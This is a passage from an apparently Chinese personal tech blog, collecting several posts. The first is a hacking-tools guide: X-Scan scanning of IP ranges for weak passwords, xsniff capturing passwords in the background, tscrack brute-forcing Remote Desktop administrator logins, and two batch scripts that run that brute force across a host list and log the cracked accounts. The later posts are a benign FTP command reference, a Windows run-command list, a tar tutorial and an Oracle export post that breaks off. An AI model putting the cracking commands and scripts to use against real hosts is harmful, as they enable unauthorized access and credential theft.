    xscan -host <起始IP>[-<終止IP>] <檢測(cè)項(xiàng)目> [其他選項(xiàng)] 掃錨"起始IP到終止IP"段的所有主機(jī)信息
    xscan -file <主機(jī)列表文件名> <檢測(cè)項(xiàng)目> [其他選項(xiàng)] 掃錨"主機(jī)IP列表文件名"中的所有主機(jī)信息
    檢測(cè)項(xiàng)目
    -active 檢測(cè)主機(jī)是否存活
    -os 檢測(cè)遠(yuǎn)程操作系統(tǒng)類型(通過(guò)NETBIOS和SNMP協(xié)議)
    -port 檢測(cè)常用服務(wù)的端口狀態(tài)
    -ftp 檢測(cè)FTP弱口令
    -pub 檢測(cè)FTP服務(wù)匿名用戶寫(xiě)權(quán)限
    -pop3 檢測(cè)POP3-Server弱口令
    -smtp 檢測(cè)SMTP-Server漏洞
    -sql 檢測(cè)SQL-Server弱口令
    -smb 檢測(cè)NT-Server弱口令
    -iis 檢測(cè)IIS編碼/解碼漏洞
    -cgi 檢測(cè)CGI漏洞
    -nasl 加載Nessus攻擊腳本
    -all 檢測(cè)以上所有項(xiàng)目
    其它選項(xiàng)
    -i 適配器編號(hào) 設(shè)置網(wǎng)絡(luò)適配器, <適配器編號(hào)>可通過(guò)"-l"參數(shù)獲取
    -l 顯示所有網(wǎng)絡(luò)適配器
    -v 顯示詳細(xì)掃描進(jìn)度
    -p 跳過(guò)沒(méi)有響應(yīng)的主機(jī)
    -o 跳過(guò)沒(méi)有檢測(cè)到開(kāi)放端口的主機(jī)
      -t 并發(fā)線程數(shù)量,并發(fā)主機(jī)數(shù)量 指定最大并發(fā)線程數(shù)量和并發(fā)主機(jī)數(shù)量, 默認(rèn)數(shù)量為100,10
    -log 文件名 指定掃描報(bào)告文件名 (后綴為:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p  檢測(cè)192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機(jī)的所有漏洞,跳過(guò)無(wú)響應(yīng)的主機(jī)
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測(cè)192.168.1.1-192.168.255.255網(wǎng)段內(nèi)主機(jī)的標(biāo)準(zhǔn)端口狀態(tài),NT弱口令用戶,最大并發(fā)線程數(shù)量為150,跳過(guò)沒(méi)有檢測(cè)到開(kāi)放端口的主機(jī)
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測(cè)"hostlist.txt"文件中列出的所有主機(jī)的標(biāo)準(zhǔn)端口狀態(tài),CGI漏洞,最大并發(fā)線程數(shù)量為200,同一時(shí)刻最多檢測(cè)5臺(tái)主機(jī),顯示詳細(xì)檢測(cè)進(jìn)度,跳過(guò)沒(méi)有檢測(cè)到開(kāi)放端口的主機(jī)

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕獲局域網(wǎng)內(nèi)FTP/SMTP/POP3/HTTP協(xié)議密碼
    參數(shù)說(shuō)明
    -tcp 輸出TCP數(shù)據(jù)報(bào)
    -udp 輸出UDP數(shù)據(jù)報(bào)
    -icmp 輸出ICMP數(shù)據(jù)報(bào)
    -pass 過(guò)濾密碼信息
    -hide 后臺(tái)運(yùn)行
    -host 解析主機(jī)名
    -addr IP地址 過(guò)濾IP地址
    -port 端口 過(guò)濾端口
    -log 文件名 將輸出保存到文件
    -asc 以ASCII形式輸出
    -hex 以16進(jìn)制形式輸出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后臺(tái)運(yùn)行嗅探密碼并將密碼信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并過(guò)濾tcp和udp信息并以ASCII格式輸出

    4、終端服務(wù)密碼破解: tscrack.exe

    參數(shù)說(shuō)明
    -h 顯示使用幫助
    -v 顯示版本信息
    -s 在屏幕上打出解密能力
    -b 密碼錯(cuò)誤時(shí)發(fā)出的聲音
    -t 同是發(fā)出多個(gè)連接(多線程)
    -N Prevent System Log entries on targeted server
    -U 卸載移除tscrack組件
    -f 使用-f后面的密碼
    -F 間隔時(shí)間(頻率)
    -l 使用-l后面的用戶名
    -w 使用-w后面的密碼字典
    -p 使用-p后面的密碼
    -D 登錄主頁(yè)面
    用法示例
    tscrack 192.168.0.1 -l administrator -w pass.dic 遠(yuǎn)程用密碼字典文件暴破主機(jī)的administrator的登陸密碼
    tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠(yuǎn)程登陸192.168.0.1的administrator用戶
    @if not exist ipcscan.txt goto noscan
    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
    nscan
    @echo 3389.txt no find or scan faild
    (①存為3389.bat) (假設(shè)現(xiàn)有用SuperScan或其它掃錨器掃到一批開(kāi)有3389的主機(jī)IP列表文件3389.txt)
    3389.bat意思是:從3389.txt文件中取一個(gè)IP,接著運(yùn)行hack.bat
    @if not exist tscrack.exe goto noscan
    @tscrack %1 -l administrator -w pass.dic >>rouji.txt
    :noscan
    @echo tscrack.exe no find or scan faild
    (②存為hack.bat) (運(yùn)行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個(gè)目錄下;就可以等待結(jié)果了)
    hack.bat意思是:運(yùn)行tscrack.exe用字典暴破3389.txt中所有主機(jī)的administrator密碼,并將破解結(jié)果保存在rouji.txt文件中。

    5、其它:

    Shutdown.exe
    Shutdown \\IP地址 t:20 20秒后將對(duì)方NT自動(dòng)關(guān)閉(Windows 2003系統(tǒng)自帶工具,在Windows2000下用進(jìn)就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細(xì)介紹。)
    fpipe.exe (TCP端口重定向工具) 在第二篇中有詳細(xì)說(shuō)明(端口重定向繞過(guò)防火墻)
    fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當(dāng)有人掃錨你的80端口時(shí),他掃到的結(jié)果會(huì)完全是www.sina.com.cn的主機(jī)信息
    Fpipe -l 23 -s 88 -r 23 目標(biāo)IP 把本機(jī)向目標(biāo)IP發(fā)送的23端口Telnet請(qǐng)求經(jīng)端口重定向后,就通過(guò)88端口發(fā)送到目標(biāo)IP的23端口。(與目標(biāo)IP建立Telnet時(shí)本機(jī)就用的88端口與其相連接)然后:直接Telnet 127.0.0.1(本機(jī)IP)就連接到目標(biāo)IP的23端口了。
    OpenTelnet.exe (遠(yuǎn)程開(kāi)啟telnet工具)
    opentelnet.exe \\IP 帳號(hào) 密碼 ntlm認(rèn)證方式 Telnet端口 (不需要上傳ntlm.exe破壞微軟的身份驗(yàn)證方式)直接遠(yuǎn)程開(kāi)啟對(duì)方的telnet服務(wù)后,就可用telnet \\ip 連接上對(duì)方。
    NTLM認(rèn)證方式:0:不使用NTLM身份驗(yàn)證;1:先嘗試NTLM身份驗(yàn)證,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗(yàn)證。

    ResumeTelnet.exe (OpenTelnet附帶的另一個(gè)工具)
    resumetelnet.exe \\IP 帳號(hào) 密碼 用Telnet連接完對(duì)方后,就用這個(gè)命令將對(duì)方的Telnet設(shè)置還原,并同時(shí)關(guān)閉Telnet服務(wù)。

    #10 十:

    6、FTP命令詳解:

    FTP命令是Internet用戶使用最頻繁的命令之一,熟悉并靈活應(yīng)用FTP的內(nèi)部命令,可以大大方便使用者,并收到事半功倍之效。如果你想學(xué)習(xí)使用進(jìn)行后臺(tái)FTP下載,那么就必須學(xué)習(xí)FTP指令。

    FTP的命令行格式為:
    ftp -v -d -i -n -g [主機(jī)名] ,其中

    -v 顯示遠(yuǎn)程服務(wù)器的所有響應(yīng)信息;

    -n 限制ftp的自動(dòng)登錄,即不使用;.n etrc文件;

    -d 使用調(diào)試方式;

    -g 取消全局文件名。

    FTP使用的內(nèi)部命令如下(中括號(hào)表示可選項(xiàng)):

    1.![cmd[args]]:在本地機(jī)中執(zhí)行交互shell,exit回到ftp環(huán)境,如:!ls*.zip
    2.$ macro-ame[args]: 執(zhí)行宏定義macro-name。

    3.account[password]: 提供登錄遠(yuǎn)程系統(tǒng)成功后訪問(wèn)系統(tǒng)資源所需的補(bǔ)充口令。
    4.append local-file[remote-file]:將本地文件追加到遠(yuǎn)程系統(tǒng)主機(jī),若未指定遠(yuǎn)程系統(tǒng)文件名,則使用本地文件名。

    5.ascii:使用ascii類型傳輸方式。
    6.bell:每個(gè)命令執(zhí)行完畢后計(jì)算機(jī)響鈴一次。

    7.bin:使用二進(jìn)制文件傳輸方式。
    8.bye:退出ftp會(huì)話過(guò)程。

    9.case:在使用mget時(shí),將遠(yuǎn)程主機(jī)文件名中的大寫(xiě)轉(zhuǎn)為小寫(xiě)字母。
    10.cd remote-dir:進(jìn)入遠(yuǎn)程主機(jī)目錄。

    11.cdup:進(jìn)入遠(yuǎn)程主機(jī)目錄的父目錄。
    12.chmod mode file-name:將遠(yuǎn)程主機(jī)文件file-name的存取方式設(shè)置為mode,如:chmod 777 a.out。

    13.close:中斷與遠(yuǎn)程服務(wù)器的ftp會(huì)話(與open對(duì)應(yīng))。
    14.cr:使用asscii方式傳輸文件時(shí),將回車換行轉(zhuǎn)換為回行。

    15.delete remote-file:刪除遠(yuǎn)程主機(jī)文件。
    16.debug[debug-value]:設(shè)置調(diào)試方式, 顯示發(fā)送至遠(yuǎn)程主機(jī)的每條命令,如:deb up 3,若設(shè)為0,表示取消debug。

    17.dir[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄,并將結(jié)果存入本地文件。
    18.disconnection:同close。

    19.form format:將文件傳輸方式設(shè)置為format,缺省為file方式。
    20.get remote-file[local-file]: 將遠(yuǎn)程主機(jī)的文件remote-file傳至本地硬盤(pán)的local-file。

    21.glob:設(shè)置mdelete,mget,mput的文件名擴(kuò)展,缺省時(shí)不擴(kuò)展文件名,同命令行的-g參數(shù)。
    22.hash:每傳輸1024字節(jié),顯示一個(gè)hash符號(hào)(#)。

    23.help[cmd]:顯示ftp內(nèi)部命令cmd的幫助信息,如:help get。
    24.idle[seconds]:將遠(yuǎn)程服務(wù)器的休眠計(jì)時(shí)器設(shè)為[seconds]秒。

    25.image:設(shè)置二進(jìn)制傳輸方式(同binary)。
    26.lcd[dir]:將本地工作目錄切換至dir。

    27.ls[remote-dir][local-file]:顯示遠(yuǎn)程目錄remote-dir, 并存入本地文件local-file。
    28.macdef macro-name:定義一個(gè)宏,遇到macdef下的空行時(shí),宏定義結(jié)束。

    29.mdelete[remote-file]:刪除遠(yuǎn)程主機(jī)文件。
    30.mdir remote-files local-file:與dir類似,但可指定多個(gè)遠(yuǎn)程文件,如 :mdir *.o.*.zipoutfile 。

    31.mget remote-files:傳輸多個(gè)遠(yuǎn)程文件。
    32.mkdir dir-name:在遠(yuǎn)程主機(jī)中建一目錄。

    33.mls remote-file local-file:同nlist,但可指定多個(gè)文件名。
    34.mode[modename]:將文件傳輸方式設(shè)置為modename, 缺省為stream方式。

    35.modtime file-name:顯示遠(yuǎn)程主機(jī)文件的最后修改時(shí)間。
    36.mput local-file:將多個(gè)文件傳輸至遠(yuǎn)程主機(jī)。

    37.newer file-name: 如果遠(yuǎn)程機(jī)中file-name的修改時(shí)間比本地硬盤(pán)同名文件的時(shí)間更近,則重傳該文件。
    38.nlist[remote-dir][local-file]:顯示遠(yuǎn)程主機(jī)目錄的文件清單,并存入本地硬盤(pán)的local-file。

    39.nmap[inpattern outpattern]:設(shè)置文件名映射機(jī)制, 使得文件傳輸時(shí),文件中的某些字符相互轉(zhuǎn)換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時(shí),文件名變?yōu)閍1,a2。 該命令特別適用于遠(yuǎn)程主機(jī)為非UNIX機(jī)的情況。
    40.ntrans[inchars[outchars]]:設(shè)置文件名字符的翻譯機(jī)制,如ntrans1R,則文件名LLL將變?yōu)镽RR。

    41.open host[port]:建立指定ftp服務(wù)器連接,可指定連接端口。
    42.passive:進(jìn)入被動(dòng)傳輸方式。

    43.prompt:設(shè)置多個(gè)文件傳輸時(shí)的交互提示。
    44.proxy ftp-cmd:在次要控制連接中,執(zhí)行一條ftp命令, 該命令允許連接兩個(gè)ftp服務(wù)器,以在兩個(gè)服務(wù)器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個(gè)服務(wù)器間的連接。
    45.put local-file[remote-file]:將本地文件local-file傳送至遠(yuǎn)程主機(jī)。
    46.pwd:顯示遠(yuǎn)程主機(jī)的當(dāng)前工作目錄。

    47.quit:同bye,退出ftp會(huì)話。
    48.quote arg1,arg2...:將參數(shù)逐字發(fā)至遠(yuǎn)程ftp服務(wù)器,如:quote syst.

    49.recv remote-file[local-file]:同get。
    50.reget remote-file[local-file]:類似于get, 但若local-file存在,則從上次傳輸中斷處續(xù)傳。

    51.rhelp[cmd-name]:請(qǐng)求獲得遠(yuǎn)程主機(jī)的幫助。
    52.rstatus[file-name]:若未指定文件名,則顯示遠(yuǎn)程主機(jī)的狀態(tài), 否則顯示文件狀態(tài)。

    53.rename[from][to]:更改遠(yuǎn)程主機(jī)文件名。
    54.reset:清除回答隊(duì)列。

    55.restart marker:從指定的標(biāo)志marker處,重新開(kāi)始get或put,如:restart 130。
    56.rmdir dir-name:刪除遠(yuǎn)程主機(jī)目錄。

    57.runique:設(shè)置文件名只一性存儲(chǔ),若文件存在,則在原文件后加后綴.1, .2等。
    58.send local-file[remote-file]:同put。

    59.sendport:設(shè)置PORT命令的使用。
    60.site arg1,arg2...:將參數(shù)作為SITE命令逐字發(fā)送至遠(yuǎn)程ftp主機(jī)。

    61.size file-name:顯示遠(yuǎn)程主機(jī)文件大小,如:site idle 7200。
    62.status:顯示當(dāng)前ftp狀態(tài)。

    63.struct[struct-name]:將文件傳輸結(jié)構(gòu)設(shè)置為struct-name, 缺省時(shí)使用stream結(jié)構(gòu)。
    64.sunique:將遠(yuǎn)程主機(jī)文件名存儲(chǔ)設(shè)置為只一(與runique對(duì)應(yīng))。

    65.system:顯示遠(yuǎn)程主機(jī)的操作系統(tǒng)類型。
    66.tenex:將文件傳輸類型設(shè)置為T(mén)ENEX機(jī)的所需的類型。

    67.tick:設(shè)置傳輸時(shí)的字節(jié)計(jì)數(shù)器。
    68.trace:設(shè)置包跟蹤。

    69.type[type-name]:設(shè)置文件傳輸類型為type-name,缺省為ascii,如:type binary,設(shè)置二進(jìn)制傳輸方式。
    70.umask[newmask]:將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask,如:umask 3

    71.user user-name[password][account]:向遠(yuǎn)程主機(jī)表明自己的身份,需要口令時(shí),必須輸入口令,如:user anonymous my@email。
    72.verbose:同命令行的-v參數(shù),即設(shè)置詳盡報(bào)告方式,ftp 服務(wù)器的所有響 應(yīng)都將顯示給用戶,缺省為on.

    73.?[cmd]:同help.

    #11 十一:

    7:計(jì)算機(jī)運(yùn)行命令全集 winver---------檢查Windows版本
    wmimgmt.msc----打開(kāi)windows管理體系結(jié)構(gòu)
    wupdmgr--------windows更新程序
    winver---------檢查Windows版本
    wmimgmt.msc----打開(kāi)windows管理體系結(jié)構(gòu)
    wupdmgr--------windows更新程序
    wscript--------windows腳本宿主設(shè)置
    write----------寫(xiě)字板winmsd-----系統(tǒng)信息
    wiaacmgr-------掃描儀和照相機(jī)向?qū)?
    winchat--------XP自帶局域網(wǎng)聊天
    mem.exe--------顯示內(nèi)存使用情況
    Msconfig.exe---系統(tǒng)配置實(shí)用程序
    mplayer2-------簡(jiǎn)易widnows media player
    mspaint--------畫(huà)圖板
    mstsc----------遠(yuǎn)程桌面連接
    mplayer2-------媒體播放機(jī)
    magnify--------放大鏡實(shí)用程序
    mmc------------打開(kāi)控制臺(tái)
    mobsync--------同步命令
    dxdiag---------檢查DirectX信息
    drwtsn32------ 系統(tǒng)醫(yī)生
    devmgmt.msc--- 設(shè)備管理器
    dfrg.msc-------磁盤(pán)碎片整理程序
    diskmgmt.msc---磁盤(pán)管理實(shí)用程序
    dcomcnfg-------打開(kāi)系統(tǒng)組件服務(wù)
    ddeshare-------打開(kāi)DDE共享設(shè)置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服務(wù)
    net start messenger----開(kāi)始信使服務(wù)
    notepad--------打開(kāi)記事本
    nslookup-------網(wǎng)絡(luò)管理的工具向?qū)?
    ntbackup-------系統(tǒng)備份和還原
    narrator-------屏幕"講述人"
    ntmsmgr.msc----移動(dòng)存儲(chǔ)管理器
    ntmsoprq.msc---移動(dòng)存儲(chǔ)管理員操作請(qǐng)求
    netstat -an----(TC)命令檢查接口
    syncapp--------創(chuàng)建一個(gè)公文包
    sysedit--------系統(tǒng)配置編輯器
    sigverif-------文件簽名驗(yàn)證程序
    sndrec32-------錄音機(jī)
    shrpubw--------創(chuàng)建共享文件夾
    secpol.msc-----本地安全策略
    syskey---------系統(tǒng)加密,一旦加密就不能解開(kāi),保護(hù)windows xp系統(tǒng)的雙重密碼
    services.msc---本地服務(wù)設(shè)置
    Sndvol32-------音量控制程序
    sfc.exe--------系統(tǒng)文件檢查器
    sfc /scannow---windows文件保護(hù)
    tsshutdn-------60秒倒計(jì)時(shí)關(guān)機(jī)命令
    tourstart------xp簡(jiǎn)介(安裝完成后出現(xiàn)的漫游xp程序)
    taskmgr--------任務(wù)管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打開(kāi)資源管理器
    packager-------對(duì)象包裝程序
    perfmon.msc----計(jì)算機(jī)性能監(jiān)測(cè)程序
    progman--------程序管理器
    regedit.exe----注冊(cè)表
    rsop.msc-------組策略結(jié)果集
    regedt32-------注冊(cè)表編輯器
    rononce -p ----15秒關(guān)機(jī)
    regsvr32 /u *.dll----停止dll文件運(yùn)行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盤(pán)檢查
    certmgr.msc----證書(shū)管理實(shí)用程序
    calc-----------啟動(dòng)計(jì)算器
    charmap--------啟動(dòng)字符映射表
    cliconfg-------SQL SERVER 客戶端網(wǎng)絡(luò)實(shí)用程序
    Clipbrd--------剪貼板查看器
    conf-----------啟動(dòng)netmeeting
    compmgmt.msc---計(jì)算機(jī)管理
    cleanmgr-------**整理
    ciadv.msc------索引服務(wù)程序
    osk------------打開(kāi)屏幕鍵盤(pán)
    odbcad32-------ODBC數(shù)據(jù)源管理器
    oobe/msoobe /a----檢查XP是否激活
    lusrmgr.msc----本機(jī)用戶和組
    logoff---------注銷命令
    iexpress-------木馬捆綁工具,系統(tǒng)自帶
    Nslookup-------IP地址偵測(cè)器
    fsmgmt.msc-----共享文件夾管理器
    utilman--------輔助工具管理器
    gpedit.msc-----組策略

    posted @ 2009-07-20 15:26 Fighter 閱讀(360) | 評(píng)論 (0)編輯 收藏

    2009年5月22日 #

    tar命令
    tar 可以為文件和目錄創(chuàng)建檔案。利用tar,用戶可以為某一特定文件創(chuàng)建檔案(備份文件),也可以在檔案中改變文件,或者向檔案中加入新的文
    件。tar最初被用來(lái)在磁帶上創(chuàng)建檔案,現(xiàn)在,用戶可以在任何設(shè)備上創(chuàng)建檔案,如軟盤(pán)。利用tar命令,可以把一大堆的文件和目錄全部打包成一個(gè)文件,這
    對(duì)于備份文件或?qū)讉€(gè)文件組合成為一個(gè)文件以便于網(wǎng)絡(luò)傳輸是非常有用的。[url=javascript:;]Linux[/url]上的tar是GNU版本的。
    語(yǔ)法:tar [主選項(xiàng)+輔選項(xiàng)] 文件或者目錄
    使用該命令時(shí),主選項(xiàng)是必須要有的,它告訴tar要做什么事情,輔選項(xiàng)是輔助使用的,可以選用。
    主選項(xiàng):
    c 創(chuàng)建新的檔案文件。如果用戶想備份一個(gè)目錄或是一些文件,就要選擇這個(gè)選項(xiàng)。
    r 把要存檔的文件追加到檔案文件的未尾。例如用戶已經(jīng)作好備份文件,又發(fā)現(xiàn)還有一個(gè)目錄或是一些文件忘記備份了,這時(shí)可以使用該選項(xiàng),將忘記的目錄或文件追加到備份文件中。
    t 列出檔案文件的內(nèi)容,查看已經(jīng)備份了哪些文件。
    u 更新文件。就是說(shuō),用新增的文件取代原備份文件,如果在備份文件中找不到要更新的文件,則把它追加到備份文件的最后。
    x 從檔案文件中釋放文件。
    輔助選項(xiàng):
    b 該選項(xiàng)是為磁帶機(jī)設(shè)定的。其后跟一數(shù)字,用來(lái)說(shuō)明區(qū)塊的大小,系統(tǒng)預(yù)設(shè)值為20(20*512 bytes)。
    f 使用檔案文件或設(shè)備,這個(gè)選項(xiàng)通常是必選的。
    k 保存已經(jīng)存在的文件。例如我們把某個(gè)文件還原,在還原的過(guò)程中,遇到相同的文件,不會(huì)進(jìn)行覆蓋。
    m 在還原文件時(shí),把所有文件的修改時(shí)間設(shè)定為現(xiàn)在。
    M 創(chuàng)建多卷的檔案文件,以便在幾個(gè)磁盤(pán)中存放。
    v 詳細(xì)報(bào)告tar處理的文件信息。如無(wú)此選項(xiàng),tar不報(bào)告文件信息。
    w 每一步都要求確認(rèn)。
    z 用gzip來(lái)壓縮/解壓縮文件,加上該選項(xiàng)后可以將檔案文件進(jìn)行壓縮,但還原時(shí)也一定要使用該選項(xiàng)進(jìn)行解壓縮。
    Linux下的壓縮文件剖析
    對(duì)于剛剛接觸Linux的人來(lái)說(shuō),一定會(huì)給Linux下一大堆各式各樣的文件名給搞暈。別個(gè)不說(shuō),單單就壓縮文件為例,我們知道在[url=javascript:;]Windows[/url]
    下最常見(jiàn)的壓縮文件就只有兩種,一是,zip,另一個(gè)是.rap。可是Linux就不同了,它有.gz、.tar.gz、tgz、bz2、.Z、.tar
    等眾多的壓縮文件名,此外windows下的.zip和.rar也可以在Linux下使用,不過(guò)在Linux使用.zip和.rar的人就太少了。本文就
    來(lái)對(duì)這些常見(jiàn)的壓縮文件進(jìn)行一番小結(jié),希望你下次遇到這些文件時(shí)不至于被搞暈。
      在具體總結(jié)各類壓縮文件之前呢,首先要弄清兩個(gè)概念:打包和壓縮。打包是指將一大堆文件或目錄什么的變成一個(gè)總的文件,壓縮則是將一個(gè)大的文
    件通過(guò)一些壓縮算法變成一個(gè)小文件。為什么要區(qū)分這兩個(gè)概念呢?其實(shí)這源于Linux中的很多壓縮程序只能針對(duì)一個(gè)文件進(jìn)行壓縮,這樣當(dāng)你想要壓縮一大堆
    文件時(shí),你就得先借助另它的工具將這一大堆文件先打成一個(gè)包,然后再就原來(lái)的壓縮程序進(jìn)行壓縮。
      Linux下最常用的打包程序就是tar了,使用tar程序打出來(lái)的包我們常稱為tar包,tar包文件的命令通常都是以.tar結(jié)尾的。生成tar包后,就可以用[url=javascript:;]其它[/url]的程序來(lái)進(jìn)行壓縮了,所以首先就來(lái)講講tar命令的基本用法:
      tar命令的選項(xiàng)有很多(用man tar可以查看到),但常用的就那么幾個(gè)選項(xiàng),下面來(lái)舉例說(shuō)明一下:
      # tar -cf all.tar *.jpg
      這條命令是將所有.jpg的文件打成一個(gè)名為all.tar的包。-c是表示產(chǎn)生新的包,-f指定包的文件名。
      # tar -rf all.tar *.gif
      這條命令是將所有.gif的文件增加到all.tar的包里面去。-r是表示增加文件的意思。
    # tar -uf all.tar logo.gif
      這條命令是更新原來(lái)tar包all.tar中l(wèi)ogo.gif文件,-u是表示更新文件的意思。
      # tar -tf all.tar
      這條命令是列出all.tar包中所有文件,-t是列出文件的意思
      # tar -xf all.tar
      這條命令是解出all.tar包中所有文件,-t是解開(kāi)的意思
      以上就是tar的最基本的用法。為了方便用戶在打包解包的同時(shí)可以壓縮或解壓文件,tar提供了一種特殊的功能。這就是tar可以在打包或解包的同時(shí)調(diào)用其它的壓縮程序,比如調(diào)用gzip、bzip2等。
      1) tar調(diào)用gzip
      gzip是GNU組織開(kāi)發(fā)的一個(gè)壓縮程序,.gz結(jié)尾的文件就是gzip壓縮的結(jié)果。與gzip相對(duì)的解壓程序是gunzip。tar中使用-z這個(gè)參數(shù)來(lái)調(diào)用gzip。下面來(lái)舉例說(shuō)明一下:
      # tar -czf all.tar.gz *.jpg
      這條命令是將所有.jpg的文件打成一個(gè)tar包,并且將其用gzip壓縮,生成一個(gè)gzip壓縮過(guò)的包,包名為all.tar.gz
      # tar -xzf all.tar.gz
      這條命令是將上面產(chǎn)生的包解開(kāi)。
      2) tar調(diào)用bzip2
      bzip2是一個(gè)壓縮能力更強(qiáng)的壓縮程序,.bz2結(jié)尾的文件就是bzip2壓縮的結(jié)果。與bzip2相對(duì)的解壓程序是bunzip2。tar中使用-j這個(gè)參數(shù)來(lái)調(diào)用gzip。下面來(lái)舉例說(shuō)明一下:
      # tar -cjf all.tar.bz2 *.jpg
      這條命令是將所有.jpg的文件打成一個(gè)tar包,并且將其用bzip2壓縮,生成一個(gè)bzip2壓縮過(guò)的包,包名為all.tar.bz2
      # tar -xjf all.tar.bz2
      這條命令是將上面產(chǎn)生的包解開(kāi)。
    3)tar調(diào)用compress
      compress也是一個(gè)壓縮程序,但是好象使用compress的人不如gzip和bzip2的人多。.Z結(jié)尾的文件就是bzip2壓縮的
    結(jié)果。與 compress相對(duì)的解壓程序是uncompress。tar中使用-Z這個(gè)參數(shù)來(lái)調(diào)用gzip。下面來(lái)舉例說(shuō)明一下:
      # tar -cZf all.tar.Z *.jpg
      這條命令是將所有.jpg的文件打成一個(gè)tar包,并且將其用compress壓縮,生成一個(gè)uncompress壓縮過(guò)的包,包名為all.tar.Z
      # tar -xZf all.tar.Z
      這條命令是將上面產(chǎn)生的包解開(kāi)
      有了上面的知識(shí),你應(yīng)該可以解開(kāi)多種壓縮文件了,下面對(duì)于tar系列的壓縮文件作一個(gè)小結(jié):
      1)對(duì)于.tar結(jié)尾的文件
      tar -xf all.tar
      2)對(duì)于.gz結(jié)尾的文件
      gzip -d all.gz
      gunzip all.gz
      3)對(duì)于.tgz或.tar.gz結(jié)尾的文件
      tar -xzf all.tar.gz
      tar -xzf all.tgz
      4)對(duì)于.bz2結(jié)尾的文件
      bzip2 -d all.bz2
      bunzip2 all.bz2
      5)對(duì)于tar.bz2結(jié)尾的文件
      tar -xjf all.tar.bz2
      6)對(duì)于.Z結(jié)尾的文件
      uncompress all.Z
      7)對(duì)于.tar.Z結(jié)尾的文件
      tar -xZf all.tar.z
      另外對(duì)于Window下的常見(jiàn)壓縮文件.zip和.rar,Linux也有相應(yīng)的方法來(lái)解壓它們:
      1)對(duì)于.zip
      linux下提供了zip和unzip程序,zip是壓縮程序,unzip是解壓程序。它們的參數(shù)選項(xiàng)很多,這里只做簡(jiǎn)單介紹,依舊舉例說(shuō)明一下其用法:
      # zip all.zip *.jpg
      這條命令是將所有.jpg的文件壓縮成一個(gè)zip包
    # unzip all.zip
      這條命令是將all.zip中的所有文件解壓出來(lái)
      2)對(duì)于.rar
      要在linux下處理.rar文件,需要安裝RAR for Linux,可以從網(wǎng)上下載,但要記住,RAR for Linux
    不是免費(fèi)的;然后安裝:
      # tar -xzpvf rarlinux-3.2.0.tar.gz
      # cd rar
      # make
      這樣就安裝好了,安裝后就有了rar和unrar這兩個(gè)程序,rar是壓縮程序,unrar是解壓程序。它們的參數(shù)選項(xiàng)很多,這里只做簡(jiǎn)單介紹,依舊舉例說(shuō)明一下其用法:
      # rar a all *.jpg
      這條命令是將所有.jpg的文件壓縮成一個(gè)rar包,名為all.rar,該程序會(huì)將.rar 擴(kuò)展名將自動(dòng)附加到包名后。
      # unrar e all.rar
      這條命令是將all.rar中的所有文件解壓出來(lái)
      到此為至,我們已經(jīng)介紹過(guò)linux下的tar、gzip、gunzip、bzip2、bunzip2、compress、
    uncompress、 zip、unzip、rar、unrar等程式,你應(yīng)該已經(jīng)能夠使用它們對(duì).tar、.gz、.tar.gz、.tgz、.
    bz2、.tar.bz2、. Z、.tar.Z、.zip、.rar這10種壓縮文件進(jìn)行解壓了,以后應(yīng)該不需要為下載了一個(gè)軟件而不知道如何在
    Linux下解開(kāi)而煩惱了。而且以上方法對(duì)于Unix也基本有效。
      本文介紹了linux下的壓縮程式tar、gzip、gunzip、bzip2、bunzip2、 compress、
    uncompress、zip、unzip、rar、unrar等程式,以及如何使用它們對(duì).tar、.gz、.tar.gz、. tgz、.bz2、.
    tar.bz2、.Z、.tar.Z、.zip、.rar這10種壓縮文件進(jìn)行操作.
    posted @ 2009-05-22 13:47 Fighter 閱讀(449) | 評(píng)論 (0)編輯 收藏

    2009年5月21日 #

    在pl/sql中使用exp/imp工具實(shí)現(xiàn)oracle數(shù)據(jù)導(dǎo)出/導(dǎo)入Oracle 數(shù)據(jù)導(dǎo)入導(dǎo)出imp/exp就相當(dāng)于oracle數(shù)據(jù)還原與備份。exp命令可以把數(shù)據(jù)從遠(yuǎn)程數(shù)據(jù)庫(kù)服務(wù)器導(dǎo)出到本地的dmp文件,imp命令可以把 dmp文件從本地導(dǎo)入到遠(yuǎn)處的數(shù)據(jù)庫(kù)服務(wù)器中。 利用這個(gè)功能可以構(gòu)建兩個(gè)相同的數(shù)據(jù)庫(kù),一個(gè)用來(lái)測(cè)試,一個(gè)用來(lái)正式使用。

    執(zhí)行環(huán)境:可以在SQLPLUS.EXE或者DOS(命令行)中執(zhí)行,
    DOS中可以執(zhí)行時(shí)由于 在oracle 8i 中 安裝目錄\ora81\BIN被設(shè)置為全局路徑,
    該目錄下有EXP.EXE與IMP.EXE文件被用來(lái)執(zhí)行導(dǎo)入導(dǎo)出。
    oracle用java編寫(xiě),SQLPLUS.EXE、EXP.EXE、IMP.EXE這兩個(gè)文件有可能是被包裝后的類文件。
    SQLPLUS.EXE調(diào)用EXP.EXE、IMP.EXE所包裹的類,完成導(dǎo)入導(dǎo)出功能。

    下面介紹的是導(dǎo)入導(dǎo)出的實(shí)例。
    數(shù)據(jù)導(dǎo)出:
    1 將數(shù)據(jù)庫(kù)TEST完全導(dǎo)出,用戶名system 密碼manager 導(dǎo)出到D:\daochu.dmp中
